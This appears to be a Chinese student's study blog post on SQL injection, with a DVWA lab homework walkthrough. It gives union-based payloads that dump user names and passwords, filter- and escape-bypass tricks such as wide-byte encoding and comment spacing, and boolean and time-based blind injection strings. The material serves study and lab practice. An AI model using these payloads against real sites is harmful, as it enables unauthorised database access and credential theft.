blog4

第五天

SQL注入流程

1.判断是否存在注入,且是数字型还是字符型
输入1,查询成功;
输入1’ and ‘1’=’2,查询失败,返回结果为空;
输入1’or’1’=’1,查询成功
返回多个结果说明存在字符型注入
2.猜解SQL查询语句中的字段数
输入1’ or 1=1 order by 1 #,查询成功
输入1’ or 1=1 order by 2 #,查询成功
输入1’ or 1=1 order by 3 #,查询失败
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。(这里也可以通过输入union select 1,2,3…来猜解字段数)
3.确定显示的字段顺序
输入1’union select 1,2 #
4.获取当前数据库
输入1’ union select 1,database() #
5.获取数据库中的表
输入1’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.获取表中的字段名
输入1’union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
7.下载数据
输入1’ or 1=1 union select group_concat(id,first_name,last_name),group_concat(password) from users #

带过滤SQL注入

1.运用编码技术绕过
使用ASCII编码
例:SELECT FROM Users WHERE username = CHAR(101,97,115,116)
SELECT FROM Users WHERE username = ‘east’
使用url编码
例:SELECT password FROM Users WHERE username = 0x61646D696E
SELECT password FROM Users WHERE username = admin
2.采用重复的技术绕过
例:admin->adadminmin
例:admin —> adminadmin
3.采用大小写交替混用的绕过
例:UnIoN SeLeCT
4.绕过空格
·两个空格代替一个空格,TAB代替空格
·注释符号代替空格( / 注释 / )
例:SELECT//password//FROM//Users//WHERE/**/username=admin
·用括号代替空格
例:select(user())from dual where(1=1)and(2=2)
·用+代替空格
例: SELECT +password+ FROM + Users + WHERE +username=admin
· %a0=空格
例:%0a %a0 %20 %09 %0B %0C %0D
·用花括号代替空格 {}
·单引号双引号代替空格
5.过滤information_schema.tables等关键表名
information_schema . tables(在schema与tables中间加空格)
6.过滤
用like代替
7.过滤引号
使用十六进制可以绕过引号
例:select column_name from information_schema.tables where table_name=”users”
select column_name from information_schema.tables where table_name=0x7573657273

  1. 过滤‘<’与‘>’
    使用greatest()(>)、least() (<)绕过比较操作符
    例:select * from users where id=1 and ascii(substr(database(),0,1))>64
    select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
    
    9.过滤逗号
    (在盲注的时候需要使用substr(),mid(),limit,这些句子的方法会使用逗号)
    ·substr(),mid()等函数中的逗号过滤
    例:select substr(database() from 1 for 1) 例:select mid(database() from 1 for 1)
    select substr(database(),1,1);                          select mid(database(),1,1)
    
    ·limit中的逗号过滤
    例:select * from news limit 0,1
    select * from news limit 1 offset 0
    
  2. 过滤sleep
    benchmark(x, y)
    benchmark(10000000,sha(1)) 10000000次sha(1),来时间延迟
    若sleep中不能使用数字
    用pi()函数绕过:sleep(ceil(pi()))(pi()为圆周率计算,ceil为向上取整函数)
    11.过滤注释符号(#,–+)
    例:id=1’ union select 1,2,3||’1(最后的||’1=or ‘1闭合查询语句的最后的单引号)
    id=1’ union select 1,2,’3
    12.采用重复的技术绕过
    通常利用的思路为用\’代替’
    尝试宽字节 %bf%27 %df%27 %aa%27
    原因:在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字
    %df 吃掉 \ 具体的方法是 urlencode(\’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:
    13.采用大小写交替混用的绕过
    当order by 被过滤后就可以使用into 变量来绕过
    例:select from yz limit 1,1 into @a,@b,@c;
    14.利用等价函数
    hex()、bin() ==> ascii()
    sleep() ==> benchmark()
    concat_ws()==> group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()
    15.Mysql条件注释的利用 /
    ! … /
    /
    ! … /:其中的语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行。
    /
    !50000select*/:50000版本以上的 不执行括号中的语句,否则必定执行。

    布尔型盲注

    只有false和true两种状态,过程中需要猜测,直到猜到正确型为止。

    猜解库、表、列的代码

    用字典文件替换db,table,column,如果不存在,返回false界面;存在,返回true界面。
    (1)猜解当前数据库的名字
    $name=1’ and ascii(mid(database(),1,1))>115–+’
    select 2列 from 表 where name = ‘1’ and ascii(mid(database(),1,1))>115–+’
    (2)猜解数据库的表名
    $name=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114–+
    (3)猜解表中的列名
    $name=1’ and ascii(substr((select column_name from information_schema
    .columns where table_name=’users’ limit 0,1),1,1))=105–+
    (4)猜解列名对应的内容
    $name=’ 1’ and ascii(substr((select username from security.users order by id
    limit 0,1),1,1))=68–+

    时间型盲注

    对一个命令只有一个固定的反应,如果是正确就会等待一定时间再反应,如果是错误的就会立刻反应

    猜解库、表、列的代码

    (1)猜解当前数据库的名字
    $name=1’ and if(ascii(substring(database(),1,1)) =115,1,sleep(5))–+
    (2) 猜解数据库的表名
    $name=1’ and if(ascii(substring((select table_name from
    information_schema.tables where table_schema=database() limit 1,1),1,1))=114,
    1,sleep(5))–+
    (3)猜解表中的列名
    $name=1’ and if(ascii(substring((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))=105,
    1,sleep(5))–+
    (4)猜解列名对应的内容
    $name=1’ and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,1,sleep(5))–+

    作业

    dvwa的注入过程

    1.判断是否存在注入,且是数字型还是字符型
    输入1’ or’1’=’1

    2.猜解SQL查询语句中的字段数
    输入1’ or 1=1 order by 1 #;1’ or 1=1 order by 2 #;1’ or 1=1 order by 3 #


    3.确定显示的字段顺序
    输入1’union select 1,2 #

    4.获取当前数据库
    输入1’ union select 1,database() #

    5.获取数据库中的表
    输入1’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

    6.获取表中的字段名
    输入1’union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #

    布尔型盲注

    先用火狐浏览器浏览器跳出HackBar
    1.猜解当前数据库名称,输入1’ and ascii(mid(database(),1,1))>115–+’,找到 库名第2位的ASCII码值115

    2.猜解数据库的表名。输入1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114–+,得到表名第2位ASCII码值114

    3.猜解表中的列名,输入1’ and ascii(substr((select column_name from information_schema
    .columns where table_name=’users’ limit 0,1),1,1))=105–+,找到列名第二位的ASCII码值117

    4.猜解列名对应的内容,输入1’ and ascii(substr((select username from security.users order by id
    limit 0,1),1,1))=68–+,找到对应内容第二位的ASCII码值68

    时间型盲注

    过程同布尔型注入,找到的库名、表名、列名、对应内容在各位上的ASCII码值分别为115、114、117、68
    因为此处sleep(5)是放到末尾,所以当找到的值错误时会执行此代码;将它与1换下位置结果相反。
    $name=1’and if (’1’ = ‘1’,1, sleep(5)) –+ (不延迟返回为true)
    $name=1’and if(’1’ = ‘2’,1, sleep(5)) –+ (延迟返回为false)
    全句:select 列 from 表 where name = ‘1’ and if(‘1’ = ‘1’,1,sleep(5)) –+
    1.
    2.
    3.
    4.